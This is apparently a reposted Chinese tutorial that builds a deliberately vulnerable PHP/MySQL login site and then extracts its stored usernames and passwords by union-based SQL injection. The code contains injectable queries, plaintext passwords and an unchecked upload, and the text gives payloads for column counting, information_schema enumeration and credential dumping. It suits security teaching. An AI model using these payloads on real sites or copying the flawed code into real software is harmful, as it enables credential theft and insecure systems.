前言
1. 設(shè)計(jì)思路
要想玩SQL注入,一個(gè)簡單的數(shù)據(jù)交互頁面是需要的,故我們用PHP做一個(gè)簡易網(wǎng)頁,有登錄、注冊和首頁三塊內(nèi)容。
登錄需要輸入賬號(hào)密碼,等待提交后進(jìn)入系統(tǒng);
注冊需要輸入名字,密碼,手機(jī)號(hào),照片,等待提交后進(jìn)入系統(tǒng);
首頁需要利用PHP和數(shù)據(jù)庫聯(lián)動(dòng)后的查詢語句,設(shè)計(jì)一個(gè)快捷查ID頁;
在簡易數(shù)據(jù)交互網(wǎng)站搭建好之后,我們利用瀏覽器提交的參數(shù)存在的漏洞,修改構(gòu)造參數(shù),提交SQL查詢語句,并傳遞至服務(wù)器端,從而獲取想要的敏感信息。
2. 設(shè)計(jì)目的
獲取網(wǎng)站管理員賬號(hào)和登錄密碼
一、網(wǎng)站快速搭建
最簡單的網(wǎng)站,具備登錄注冊兩個(gè)功能,還有登錄后進(jìn)入的主頁,利用的技術(shù)是HTML+PHP+SQL
1. 登錄頁
在根目錄下新建一個(gè)shiyan的文件夾,在下面新建login.php,先寫一個(gè)大標(biāo)題“請輸入賬號(hào)以及密碼”,在輸入賬號(hào)和密碼后,有提交按鈕,要利用PHP語句對提交信息進(jìn)行核實(shí),若與數(shù)據(jù)庫中存儲(chǔ)信息一致,則進(jìn)入系統(tǒng)。不一致則在最下方返回登錄失敗。
在這需要使用數(shù)據(jù)庫連接的功能,為了方便,我將數(shù)據(jù)庫連接寫成conn.php文件,直接在login.php中調(diào)用即可。
<?php
//調(diào)用數(shù)據(jù)庫連接文件
include("conn.php");
//接收傳遞的用戶名和密碼
$username=$_POST['username'];
$password=$_POST['password'];
//數(shù)據(jù)庫查詢語句
//判斷輸入的賬號(hào)和密碼是否與數(shù)據(jù)庫中內(nèi)容對應(yīng)
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
//連接數(shù)據(jù)庫
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
//登錄成功判斷
//加@隱藏報(bào)警信息
if(@mysqli_num_rows($reslust)){
//強(qiáng)制跳轉(zhuǎn)游戲頁
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登錄失敗";
$_SESSION['login']='false';
}
?>
<html>
<head>
<meta charset=utf-8>
</head>
<h1>請輸入賬號(hào)以及密碼</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
//添加注冊超鏈接
<a href="zhuce.php">點(diǎn)擊注冊</a></br>
//將登錄信息顯示
<?php echo $login;?>
</html>
2. 注冊頁
新建zhuce.php,基本框架是form表單下輸入的信息。我們將輸入的信息傳遞給PHP處理,由參數(shù)name、password1、pasword2等等來接收用戶提交數(shù)值。
然后對傳遞到的值進(jìn)行判定,加一些限制條件,比如密碼長度為8位,且兩次輸入密碼必須相同,手機(jī)號(hào)為11位、上傳照片類型為jpg格式。
用php對以上條件做出一定的限制,當(dāng)他們都成立時(shí),注冊成功,并在表單的最下方顯示部分注冊信息,方便調(diào)試排除錯(cuò)誤。
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) || empty($password1) || empty($password2) || empty($shouji)){
$ERR="賬號(hào)密碼、手機(jī)號(hào)碼不能為空";
//密碼長度8位,密碼兩次輸入一致
//密碼驗(yàn)證
//手機(jī)11位
//文件上傳jpg
}elseif(strlen($password1)<8){
$ERR="密碼長度不足八位";
}elseif($password1!=$password2){
$ERR="兩次輸入密碼不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手機(jī)號(hào)碼格式有問題";
}else{
// echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已經(jīng)存在。 ";
}else{
// 如果 upload 目錄不存在該文件則將文件上傳到 upload 目錄下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存儲(chǔ)在: " . "tupian/" . $_FILES["tupian"]["name"];
}
$sqlinsert="insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$ERR="注冊成功</br>";
}else{
$ERR="注冊失敗</br>";
};
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密碼:
<input type="password" name="password1" ><br>
重新輸入密碼:
<input type="password" name="password2" ><br>
請輸入手機(jī)號(hào)碼:
<input type="passwrd" name="shouji" ><br>
上傳頭像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
//返回結(jié)果
<?php
echo $ERR;
echo "你注冊的用戶為:".$name."</br>";
echo "你注冊的手機(jī)號(hào)碼:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>"
3. 數(shù)據(jù)庫連接頁
同樣,新建conn.php文件,服務(wù)器為本地127.0.0.1,數(shù)據(jù)庫管理員為root,密碼為root,數(shù)據(jù)庫名為kkk。通過執(zhí)行php語句來創(chuàng)建數(shù)據(jù)庫。
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 創(chuàng)建連接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 檢測連接
if (!$conn) {
die("連接失敗: " . mysqli_connect_error());
}else{
// echo "數(shù)據(jù)連接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "數(shù)據(jù)庫表已經(jīng)存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "開始自動(dòng)創(chuàng)建數(shù)據(jù)庫</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "數(shù)據(jù)庫創(chuàng)建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "數(shù)據(jù)表創(chuàng)建成功</br>";
}
}
// mysqli_close($conn);
?>
4. 首頁(登錄后跳轉(zhuǎn)到此處)
新建youxi.php文件,功能設(shè)計(jì)簡單,主要是利用SQL查詢,來顯示用戶名和用戶ID。
在首頁設(shè)計(jì)最上方,回顯登錄后的session信息提示(方便調(diào)試bug,可刪),中間一個(gè)標(biāo)題,一個(gè)超鏈接鏈接到查詢頁。
為什么要設(shè)計(jì)一個(gè)session信息多此一舉呢,主要是因?yàn)樵擁撁娲嬖谶壿嬄┒?,即滲透人員不需要登錄也能訪問,故在沒有session為true的認(rèn)證下,用戶無法查看該頁面內(nèi)容。
<?php
include('session.php');
?>
<html>
<head>
<mate charset="utf-8">
<h1>游戲頁面</h1>
<a href="select.php">點(diǎn)擊查找賬號(hào)以及ID的對應(yīng)關(guān)系</a>
</head>
</html>
5. session頁
新建session.php
對登錄頁登錄狀態(tài)的檢測,為真成功登錄,為假則無法訪問登錄頁的下一頁。
<?php
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
echo "您已經(jīng)成功登陸<a href='zhuxiao.php'>點(diǎn)擊注銷</a>";
} else {
$_SESSION["login"] == false;
die("您無權(quán)訪問,<a href='login.php'>點(diǎn)擊跳轉(zhuǎn)登錄頁面</a>");
}
?>
6. 注銷頁
新建zhuxiao.php
在登錄后想要徹底退出,就需要注銷該session的狀態(tài),設(shè)置為false。銷毀后強(qiáng)制轉(zhuǎn)到登錄頁面。
<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>
7. 查詢頁
新建select.php
查詢需要利用數(shù)據(jù)庫,故調(diào)用conn.php數(shù)據(jù)庫連接文件,查詢功能屬于首頁中的一部分,故需要session權(quán)限賦予,調(diào)用session.php文件。
它將從數(shù)據(jù)庫表中查詢到的id和user信息返回到下方顯示,在標(biāo)題上方的提示信息同樣為了調(diào)試更快
<?php
include('conn.php');
include('session.php');
$chaxun=$_GET['chaxun'];
if(is_numeric($chaxun)){
$chaxun = "id = $chaxun;";
}else{
$chaxun = "user = '$chaxun';";
}
$chaxun="select * from kkk_tbl where $chaxun;";
echo $chaxun;
// echo $chaxun;
$lianjie=mysqli_query($conn2,$chaxun);
$row=@mysqli_fetch_assoc($lianjie);
$user=$row['user'];
$id=$row['id'];
// var_dump($lianjie);
// while($row=mysqli_fetch_assoc($lianjie)){
// $user=$row['user'];
// $pass=$row['pass'];
// $phone=$row['phone'];
// echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
// }
?>
<html>
<head>
<mate charset="utf-8">
<h1>請輸入你要查詢的id或者賬號(hào)名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
<?php
echo "id:".$id."</br>"."user:".$user."</br>";
?>
</head>
</html>
8. 數(shù)據(jù)庫
我在這用的是mysql5.7,命令行登錄進(jìn)去可以更直觀看到表中信息
二、SQL注入實(shí)例(小試牛刀)
簡單練習(xí)一下SQL漏洞注入原理,無實(shí)戰(zhàn)價(jià)值。
1. 猜測漏洞邏輯
以網(wǎng)站中該php網(wǎng)頁為例,在瀏覽器源代碼中可以看到使用網(wǎng)站使用PHP做數(shù)據(jù)交互。
網(wǎng)頁可以輸入的值只有id和user,故猜想PHP代碼中會(huì)將瀏覽器傳遞的id和user賦值為一個(gè)新的變量。
因?yàn)槲覀冏鳛殚_發(fā)者,知道網(wǎng)頁的實(shí)現(xiàn)邏輯,是可以通過傳遞過程中$chaxun值的改變來做SQL注入。而對其他陌生網(wǎng)頁,代碼邏輯還需要不斷嘗試猜測。
SQL注入的核心,就是通過傳值接口操作數(shù)據(jù)庫語句,來達(dá)到我們預(yù)期的結(jié)果。
2. 猜字段個(gè)數(shù)
會(huì)發(fā)現(xiàn),網(wǎng)頁中SQL語句結(jié)構(gòu)是這樣的
注入的一個(gè)思路就是利用 ’ 和 --+ 或者 # 注釋沒用的內(nèi)容,把我們想要查詢的語句傳遞過去。
在找到SQL注入的點(diǎn)后,猜字段大多數(shù)使用order by,對其進(jìn)行排序來獲取字段數(shù)量
第1次嘗試
在文本輸入框輸入下面語句,代替之前的值
admin'order by 1
無結(jié)果,發(fā)現(xiàn)多余的單引號(hào)影響語句運(yùn)行
第2次嘗試
我們就利用SQL語句的一些特性,將其注釋,消除影響
admin'order by 1 or '1'='1
可以看到,結(jié)果返回id和用戶名,證明該語句在注釋掉后面內(nèi)容后,能夠?qū)崿F(xiàn)排序操作
接下來我們利用這個(gè)突破口進(jìn)行多次嘗試,來確定字段個(gè)數(shù)
第3次嘗試
admin' order by 2#'
排序語句生效
第4次嘗試
admin' order by 3#'
排序語句生效
第5次嘗試
admin' order by 4#'
排序語句生效
第6次嘗試
admin' order by 5#'
排序語句生效
第7次嘗試
admin' order by 6#'
排序語句無效,說明表中字段只有5個(gè)
通過幾次嘗試后,我們確定了字段個(gè)數(shù),接下來就需要字段位置,名稱
3. 猜字段名稱
我們利用查詢語句,查找回顯的位置
第1次嘗試
admin'union select 1,2,3,4,5#'
返回符合預(yù)期,但是無法判斷字段的位置
第2次嘗試
我們把a(bǔ)dmin變?yōu)榭罩?,這樣在傳值后,會(huì)將id和user用12345中數(shù)字表示出來,進(jìn)而可以確定字段位置
-admin'union select 1,2,3,4,5#'
說明,第一個(gè)字段是id,第二個(gè)字段是user
4. 猜數(shù)據(jù)庫名
由于上面已經(jīng)得出id和user的確切位置,所以我們只需要在對應(yīng)位置上將其替換為兩個(gè)輸出函數(shù)即可得出結(jié)果
第1次嘗試
-admin'union select user(),database(),3,4,5#'
得出數(shù)據(jù)庫名是kkk,數(shù)據(jù)庫用戶是本地root
我們的目的是拿到賬號(hào)和密碼,現(xiàn)在知道庫名kkk,庫的用戶root,庫中的表有五個(gè)字段并且第一個(gè)字段是id,第二個(gè)字段是用戶名
但是密碼字段在哪,內(nèi)容是什么我們并不知道
所以我們對數(shù)據(jù)庫表進(jìn)行注入
5. 猜數(shù)據(jù)庫表
想要猜表中對應(yīng)密碼字段下的內(nèi)容,我們先得知道表名是什么
在這我們需要用到一個(gè)數(shù)據(jù)庫中特殊的表,information_schema.tables 是一個(gè)特殊的表,里面存放著數(shù)據(jù)庫中的所有表
select * from information_schema.tables;
在數(shù)據(jù)庫命令行中執(zhí)行,返回結(jié)果是這樣的
但我們現(xiàn)在無法進(jìn)入數(shù)據(jù)庫操作臺(tái),我們只能利用查詢語句中的語法漏洞來通過注入sql語句返回我們想要的內(nèi)容
第1次嘗試
查詢kkk數(shù)據(jù)庫下的表所有內(nèi)容
-admin'union select user(),database(),3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'
返回結(jié)果沒有達(dá)到預(yù)期
仔細(xì)看會(huì)發(fā)現(xiàn),我們的注入語句中沒有指定查找的表中具體信息,查找條件無法精準(zhǔn)定位到表
第2次嘗試
所以我們將第一位的user()函數(shù)和第二位的database()函數(shù)改為id為1和表名table_name,這樣,在執(zhí)行這條語句后,服務(wù)器會(huì)根據(jù)table_name返回表名。
-admin'union select 1,table_name,3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'
可以看到,表名是kkk_tbl
現(xiàn)在我們知道表名,表的前兩個(gè)字段名,但其余字段如何獲取呢,就需要對剩余字段名進(jìn)行猜測
第3次嘗試
利用同樣的方法,對其余字段進(jìn)行查詢,讓它在第二位輸出列名colum_name,即字段名
-admin'union select 1,column_name,3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'
結(jié)果發(fā)現(xiàn),輸出內(nèi)容只有字段中第一個(gè)id,剩下4個(gè)字段并未顯示
第4次嘗試
所以我們需要對SQL注入語句進(jìn)行優(yōu)化,將所有返回?cái)?shù)值用字符串的形式在第字段第二位一起返回。利用group_concat()函數(shù)實(shí)現(xiàn)
-admin'union select 1,group_concat(column_name),3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'
結(jié)果輸出五個(gè)字段的名稱,分別是id、user、pass、phone、file
到此為止,我們知道了數(shù)據(jù)庫名kkk,數(shù)據(jù)庫用戶root,表名kkk_tbl,表中字段個(gè)數(shù)5,字段名分別是id、user、pass、phone、file。
距離獲取密碼只差最后一步
在得知表中第三位字段是密碼后,我們用同樣的方法,嘗試
第5次嘗試(密碼爆破成功)
利用group_concat()函數(shù),輸出該表下所有的用戶和密碼數(shù)值
-admin'union select 1,group_concat(user,pass),3,4,5 from kkk_tbl;#'
結(jié)果符合預(yù)期,兩個(gè)用戶,admin和111,密碼分別是123456和12345678
我們在命令行中檢查一下數(shù)據(jù)正確性
文章來源:http://www.zghlxwxcb.cn/news/detail-573305.html
完全符和文章來源地址http://www.zghlxwxcb.cn/news/detail-573305.html
到了這里,關(guān)于【網(wǎng)絡(luò)安全】初探SQL注入漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!